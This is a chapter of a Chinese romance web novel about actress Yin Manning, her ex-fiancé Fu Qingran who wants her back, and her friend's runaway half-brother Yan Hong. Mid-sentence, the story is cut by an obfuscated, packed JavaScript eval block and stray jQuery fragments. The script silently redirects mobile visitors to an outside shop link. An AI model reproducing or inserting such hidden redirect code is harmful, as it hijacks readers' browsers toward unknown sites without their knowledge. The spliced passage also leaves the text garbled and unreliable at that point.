尹漫宁走过去,上了傅清然的车。
漫宁看着这辆纯黑色的迈巴赫有点感慨。没想到他也是这款车,他们的审美还真是一致。
他的车内飘着熟悉的西柚香味,漫宁坐上副驾驶,本来想调整一下角度,却发现座椅被调得刚刚好,很舒适。
他一直很重视她的体验感,看来今天不是临时喊她,是早有预谋了。
傅清然发动引擎,带她上了城郊公路,一路风驰电掣。
车里放着舒缓的R&B音乐,夜风凉凉,虽然不知道他要说什么,但她的心忽然静下来。
夕阳的余晖落下来,他终于开口:“漫漫。”
“嗯?”
“你不问我为什么要来演吗?”
“无所谓,来就来呗。”能拍就行,不挑了。
他表情有些意外,沉默了一会儿,又说:“我以为你会好奇为什么。”
“不好奇。”她打起十二分的警惕心,不上钩,“我们要去哪儿?”
“去吃饭。”
傅清然带她来了一家高档的私厨餐厅。
大厅虽然宽敞明亮,灭了几盏水晶灯之后,氛围变得浪漫。他提前清了场,还找了乐手弹钢琴。
他把菜单递给漫宁,漫宁随便点了几道,没说多余的话。
饭菜上桌,他和她的寒暄结束,谈话进入了新阶段。
傅清然边吃边说:“上次就想带你来的,可惜那天你没下楼。”
上次?
漫宁想起来了,是他在楼下老地方等她的那一次。
漫宁说:“今天吃也一样,好饭不怕晚。”
“嗯。”他被这句话取悦到,眉眼带笑,“吃着怎么样,合口味吗?”
“不错。”她点头,筷子没停。
“我第一次来这儿吃饭的时候,就觉得你会喜欢。”
她没接话,他又说:“你这次打算回来多久?还走吗?”
“不一定。”她说,“有戏拍就留下,没戏了就走。”
他垂眸沉思:“你的作品都很有风格,留下来吧,肯定有很多戏拍。”
她自嘲道:“你就别夸我了,这回要不是你们投资,说不定项目就凉了。可能我实力还不够吧。”
“你实力够的。”他毫不犹豫,“真的。”
漫宁耸耸肩,又夹起糖醋鱼:“这鱼不错,你尝尝。”
他吃了一会儿,冷不丁问了句:“漫漫,你觉得我们有没有可能——”
她打断他:“我有男朋友了。”
上回瞎编的,刚好拿来用。
他眼神中有她看不懂的情绪:“是家里安排的么?”
“嗯。”
“打算结婚?”
“怎么?你要送份子钱么?”她目光锐利,想要看透他的心。
他摇摇头:“不送。”
“你到底要和我说什么?”她忍不住说,“我不喜欢你,我有男朋友了。”
“你们谈了多久?”
“关你什么事儿?”
“你的事就是我的事。”
“我们已经分手了。”
傅清然沉默,用餐结束,他开车送她回家。
晚霞洒在他脸上,他调小了音乐,低声问了句:“分手就不可以了吗?”
她装作没听到。
他靠边停车,目光直视着她,眼里的亮光如同天边的流星,流星落入湖畔,惊起一片涟漪。
他又重复一句:“不可以吗?”
“不可以。”她终于拒绝。
他抿唇,脸上有些郁闷:“那你知不知道,晚上和男人出来很危险?”
“你不一样。”她的心像是绕过云层的月亮,悄悄冒了头。
“别太相信我。”他红了眼眸,咬牙道,“我能做到什么程度,连我自己都不知道。”
她摇头轻笑:“你不会。”
傅清然的肩膀沉下来,轻轻叹息:“你喜欢他吗?”
漫宁愣了两秒,才意识到他说的是那位并不存在的“醋精男友”。难道他还喜欢她?
傅清然见她沉默,眼中闪过一丝欣喜,说了句:“跟他分手吧,你值得更好的选择。”
先放手的人是他,他有什么资格要求她?
她没说话,只是打开车门下车了。
他的车辆再次靠近,落下车窗喊她上来,尹漫宁摇头,她自己叫了辆车。
出租车来得很快,尹漫宁直接上了车。
她掏出手机,给他发消息。
尹漫宁:傅总,以后有事请在工作时间联系我,谢谢配合。
他没回,她瞥了一眼后视镜。
那辆迈巴赫停在原地,在视野里越来越小,像路边被丢弃的易拉罐。
*
傍晚,尹漫宁拧动钥匙,打开阁楼上的储藏间。
她翻出角落里的一个20寸白色行李箱,把它推出来,然后重新关上门。
回到卧室,尹漫宁打开行李箱,翻出里面的一个首饰盒,盖子翻开,里面躺着一枚精致又闪亮的求婚钻戒。
漫宁的思绪飘回了他求婚的那一天……
临近毕业,她和他各自忙碌着。那天,傅清然高兴极了,带她去游乐园约会。
夜晚的音乐烟火秀上,光束照亮城堡,音乐的旋律带着众人进入魔法世界,彩色的城堡外有光影萦绕,烟火伴着吟唱声升空。
嘭!
两束巨大的圆形烟花在空中绽放,四周的焰火棒也点燃热情。烟火源源不绝,小美人鱼在城堡的外墙上游曳不停,野兽在阴影中跳跃着歌唱……
尹漫宁和傅清然在人群的后方站着,他们十指交握,依偎着自拍。
烟花秀之后,他们离开游乐园。回到同居的公寓时,傅清然带她去了天台。
原本空荡荡的天台被鲜花和灯泡装饰过了,不仅多了个双人小沙发,还摆了个烧烤架,旁边的小冰箱里装着各种烤串食材。
她惊讶极了,他熟练地上手,开始帮她烤羊肉串当宵夜。
尹漫宁开了罐啤酒,他们边喝边聊,天光快亮时,他在她耳边呢喃了一句:“要不要嫁给我?”
她笑着打趣:“这位先生,你打算空着手求婚吗?”
他拿出藏好的钻戒,郑重下跪求婚:“漫漫,嫁给我吧。”
漫宁由困转为兴奋,伸出左手,他帮她带上戒指,他们在晨曦中拥吻,从天台一路亲到卧室……
尹漫宁正式睡觉时,已经是早上九点,她嘱咐他:“下午四点的飞机,别忘了定闹钟啊。”
“放心。”他说,临睡前又吻了她。
他们早就约好了要一起旅行,漫宁做好了全套规划,机酒和行程安排都确定好了,只等下午出发……
漫宁醒来之后,身边空无一人。
傅清然留了个便条说临时有点事儿,机场见。
她在机场拎着这只行李箱等了很久,只等来了他的分手短信。
没有原因、毫无预兆,他直接甩了她。
她打电话想问个清楚,那头却只有机械的忙音……
漫宁将钻戒戴到无名指上,尺寸合适,钻石依旧耀眼,火彩的光芒将她拉回现实。
他向她求婚成功,第二天又和她断崖分手。
她花了五年才从痛苦的沼泽里爬出来,所以不可以,她不敢赌。
尹漫宁把钻戒重新放回首饰盒,塞回行李箱深处,像是锁好了记忆的抽屉。
叮咚、叮咚!
楼下的门铃被按响了。
尹漫宁下楼,打开可视门铃看了看,然后开了门。
门外站了个一米八的混血小帅哥,穿着浅黄色卫衣,配牛仔背带裤,身后还背了个吉他。
那人看见尹漫宁就问:“我姐在吗?”
这位小帅哥名叫言鸿,是罗棠同母异父的亲弟弟,罗棠父母离异,母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964675|214448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亲改嫁给了一位外国人,给她生了个混血弟弟。
“你姐不在这儿。”尹漫宁道,“她去云南了,你不知道吗?”
“我不知道啊。”言鸿垂头丧气,捏住她的袖子撒娇,“姐姐,我被家里赶出来了,现在兜里就剩一百三,能在你这儿蹭顿饭吗?”
“进来吧。”漫宁让他坐在客厅,又给他点了炸鸡披萨。
言鸿一顿狼吞虎咽,腆着个脸说:“姐姐,我没吃饱,再点个螺蛳粉呗?”
尹漫宁下单之后又问:“够了吗?”
“够了,谢谢姐姐。”言鸿笑得开心,露出八颗大白牙。
趁他吃饭的时候,尹漫宁去了二楼,给罗棠打电话说明情况。
罗棠一听就急了:“你可别收留他啊,给他轰出去。小小年纪不学好,大学开学之后,他自己偷偷办了个休学,然后就抱着破吉他追求梦想去了。呸,我看就是一边流浪,一边卖唱。”
尹漫宁从楼梯看下去,言鸿还在暴风进食,看起来确实像是饿了好几天似的。
漫宁说:“还好啦,年轻人嘛。”
“他是不是跟你哭穷了?”听筒那边,罗棠的声音更愤怒了,“你就甭搭理他,吃完饭快给他撵走。”
尹漫宁于心不忍:“他说他兜里就剩一百三了,要不我先给他点零花钱?总不能真让他流浪啊。”
“他爱睡哪儿睡哪儿。漫漫,你这警惕性也太差了,万一他变坏了呢?”
“拜托,他可是你弟诶。”
“那也不行。”罗棠说,“我这就把他从黑名单放出来,这事儿你别管了。”
“……好吧。”
挂断电话之后,漫宁下楼,言鸿已经接到电话了,正拿着听筒点头:“好好好,姐,我知道了。我吃完了,马上走,您大人有大量,别再拉黑我了啊。”
言鸿放下手机,低头对漫宁致谢,颇有几分中二气息:“我姐终于理我了。”
“吃饱了?”漫宁看了看桌上仅剩的少许残羹。
“嗯!”言鸿满足地摸了摸肚皮,抓起吉他就走,“那我先走了。”
他饿晕着进来,扶着墙出去。
漫宁看得不忍直视,临走还塞给他一叠钞票。言鸿一把接过,脸上更高兴了,咧着一口白牙,笑得眉眼弯弯:“谢谢姐姐,再见!”
“再见。”漫宁关上门。
言鸿心情愉悦,哼着歌离开,他走了一小段,总觉得身后好像有人在看他,于是猛地回头——
路上没人。
转角处停着一辆黑色迈巴赫。
那辆车开得慢悠悠,驶进了尹漫宁家正前方的别墅里。
原来是这里的住户啊,言鸿继续摇头晃脑,唱着小曲儿离开了。
*
傅清然没回家,而是去了新买的别墅。
他开着迈巴赫进入别墅区。一路都是熟悉的景色,这是她家附近,他来过不知道多少回了,前边那盏路灯就是他们的“老地方”。
他今天打了个败仗,想说的话都没说,反而被她下了驱逐令。
傅清然一脸烦闷,熄灭引擎停在路边,目光看向漫宁家门口。
一别五年,难道她真的不在乎他了?
傅清然将座椅后调,沮丧地后仰,片刻后,他又坐直身子,看着她家出神。
没想到,她家大门忽然开了!
尹漫宁和一个男人一起出来,有说有笑的,她还给那个男人塞了钱,那个男的笑得都皱成一朵花了。
傅清然瞬间知道了那个人是谁。
那个家里介绍的、拈酸吃醋的、在家给她做饭的狗男人,他们说不定还会结婚。呸!
不是,他凭什么啊?
傅清然的目光几乎要烧起来了,漫漫甚至还给他花钱了。
她不愿意给自己买新手机,却把钱塞进那个男人手里。
一个爱吃醋会做饭的小白脸,她现在喜欢这一款?